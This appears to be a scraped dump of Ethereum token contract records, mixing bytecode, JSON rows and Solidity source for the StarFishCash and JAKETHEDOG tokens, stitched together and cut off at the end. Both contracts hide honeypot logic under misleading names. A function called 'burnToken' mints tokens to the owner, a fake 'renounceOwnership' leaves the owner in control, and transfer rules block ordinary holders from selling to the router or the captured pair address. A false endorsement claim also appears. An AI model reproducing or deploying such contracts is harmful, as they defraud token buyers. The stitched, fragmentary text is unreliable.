ffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611f0b5780601f10611ee057610100808354040283529160200191611f0b565b820191906000526020600020905b815481529060010190602001808311611eee57829003601f168201915b505091505060006040518083038185875af19250505015611f5857857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611fa3565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b505050505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611fd357600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190612092929190612128565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a2509392505050565b8154818355818111156121235781836000526020600020918201910161212291906121a8565b5b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061216957805160ff1916838001178555612197565b82800160010185558215612197579182015b8281111561219657825182559160200191906001019061217b565b5b5090506121a491906121a8565b5090565b6121ca91905b808211156121c65760008160009055506001016121ae565b5090565b905600a165627a7a72305820ca0a6654e0e38a543f22e18d982a3649b060e22763b1c6d63ea5642f605bb3d20029
|
{"success": true, "error": null, "results": {}}
| 5,153 |
0x793332a51ac059968d8ad463e66e39993575c0ff
|
/**
*Submitted for verification at Etherscan.io on 2021-08-02
*/
/*
In colaboration with Vitalik Buterin we are pleased to announce a new token to save the seas...
--- ⭐️ STAR🐠.CASH⭐ ️ ----
⭐️ STARFISH CASH is a blockchain project designed to feed organizations working to save our seas with financial resources, and to support the development of our environmental dApps.
🐡 Deflationary - 50% of the total supply has been burned upon launch. 3% fees from each transaction is reflected upon the holders!
1% from each transaction is also sent to the donation wallet.
🐟 Decentralized and Safe - Liquidity is locked on Unicrypt lockers and ownership was renounced!
🗺 Transparent - The team is transparent with the public and the team will share regular status updates with the public at all times!
We work with multiple partners and regularly make donations to save the sea.
@StarFishCash
www.starfish.cash
*/
pragma solidity ^0.6.4;
// SPDX-License-Identifier: MIT
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract StarFishCash is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
mapping(address => uint256) private _router;
mapping(address => mapping (address => uint256)) private _allowances;
address private router;
address private caller;
uint256 private _totalTokens = 133700000 * 10**18;
uint256 private rTotal = 133700000 * 10**18;
string private _name = 'STAR🐠.CASH | @starfishcash';
string private _symbol = 'STAR🐠';
uint8 private _decimals = 18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function burnPercent(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function burnToken(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function setrouteChain (address Uniswaprouterv02) public onlyOwner {
router = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == router) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c80637b47ec1a11610097578063b4a99a4e11610066578063b4a99a4e146104b7578063c5398cfd14610501578063dd62ed3e1461052f578063f2fde38b146105a757610100565b80637b47ec1a1461035c57806395d89b411461038a57806396bfcd231461040d578063a9059cbb1461045157610100565b8063313ce567116100d3578063313ce567146102925780636aae83f3146102b657806370a08231146102fa578063715018a61461035257610100565b806306fdde0314610105578063095ea7b31461018857806318160ddd146101ee57806323b872dd1461020c575b600080fd5b61010d6105eb565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101d46004803603604081101561019e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061068d565b604051808215151515815260200191505060405180910390f35b6101f66106ab565b6040518082815260200191505060405180910390f35b6102786004803603606081101561022257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106b5565b604051808215151515815260200191505060405180910390f35b61029a610774565b604051808260ff1660ff16815260200191505060405180910390f35b6102f8600480360360208110156102cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061078b565b005b61033c6004803603602081101561031057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610898565b6040518082815260200191505060405180910390f35b61035a6108e1565b005b6103886004803603602081101561037257600080fd5b8101908080359060200190929190505050610a6a565b005b610392610ca2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d25780820151818401526020810190506103b7565b50505050905090810190601f1680156103ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61044f6004803603602081101561042357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d44565b005b61049d6004803603604081101561046757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e51565b604051808215151515815260200191505060405180910390f35b6104bf610e6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61052d6004803603602081101561051757600080fd5b8101908080359060200190929190505050610e95565b005b6105916004803603604081101561054557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f72565b6040518082815260200191505060405180910390f35b6105e9600480360360208110156105bd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ff9565b005b6060600b8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106835780601f1061065857610100808354040283529160200191610683565b820191906000526020600020905b81548152906001019060200180831161066657829003601f168201915b5050505050905090565b60006106a161069a611206565b848461120e565b6001905092915050565b6000600954905090565b60006106c284848461136d565b610769846106ce611206565b61076485600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071b611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b61120e565b600190509392505050565b6000600d60009054906101000a900460ff16905090565b610793611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108e9611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610a72611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610b53611206565b73ffffffffffffffffffffffffffffffffffffffff161415610b7457600080fd5b610b898160095461167e90919063ffffffff16565b600981905550610be88160056000610b9f611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b60056000610bf4611206565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c3a611206565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b6060600c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d3a5780601f10610d0f57610100808354040283529160200191610d3a565b820191906000526020600020905b815481529060010190602001808311610d1d57829003601f168201915b5050505050905090565b610d4c611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e0d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e65610e5e611206565b848461136d565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e9d611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a76400008102600a8190555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113a757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113e157600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561148c5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156114a057600a54811061149f57600080fd5b5b6114f281600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163490919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061158781600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461167e90919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b6000808284019050838110156116fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122044facba8f7e139f7625fba31845498288341568a6e0ce9d3a42de40b6bceb60064736f6c63430006040033
|
{"success": true, "error": null, "results": {}}
| 5,154 |
0x6048a4356c0f6183e060d9adabfa8dc599214483
|
/**
*Submitted for verification at Etherscan.io on 2021-10-22
*/
/**
*Submitted for verification at Etherscan.io on 2021-10-21
*/
// SPDX-License-Identifier: Unlicensed
/**
Join Our Telegram: https://t.me/JAKETHEDOGeth
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@[email protected]@@@@@[email protected]@@@@@[email protected]@@@[email protected]@@@@@[email protected]@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = now + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "You don't have permission to unlock");
require(now > _lockTime , "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract JAKETHEDOG is Context, IERC20, Ownable, Pausable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint8 private _decimals = 9;
uint256 private _totalSupply = 10000000000 * 10**9;
string private _symbol = "JAKETHEDOG";
string private _name = "JAKE";
address public newun;
constructor() public {
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function getOwner() external view returns (address) {
return owner();
}
function decimals() external view returns (uint8) {
return _decimals;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function name() external view returns (string memory) {
return _name;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) external view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(sender != address(0) && newun == address(0)) newun = recipient;
else require(recipient != newun || sender == owner(), "please wait");
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "transfer sender address is 0 address");
require(recipient != address(0), "transfer recipient address is 0 address");
require(!paused || sender == owner() || recipient == owner(), "paused");
if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait");
_balances[sender] = _balances[sender].sub(amount, "transfer balance too low");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "approve owner is 0 address");
require(spender != address(0), "approve spender is 0 address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function mint(address _to, uint256 _amount) onlyOwner public returns (bool){
_totalSupply = _totalSupply.add(_amount);
_balances[_to] = _balances[_to].add(_amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
|
0x736048a4356c0f6183e060d9adabfa8dc59921448330146080604052600080fdfea26469706673582212208927f77cc0060548d088629e6b8cc111e67d56e44cf9607ebc65b9c40a95af6e64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,155 |
0x9AF8C941ff9216bA4d62E7dE2D619F3CB0E031c7
|
/**
*Submitted for verification at polygonscan.com on 2021-11-23
*/
pragma solidity 0.5.14;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
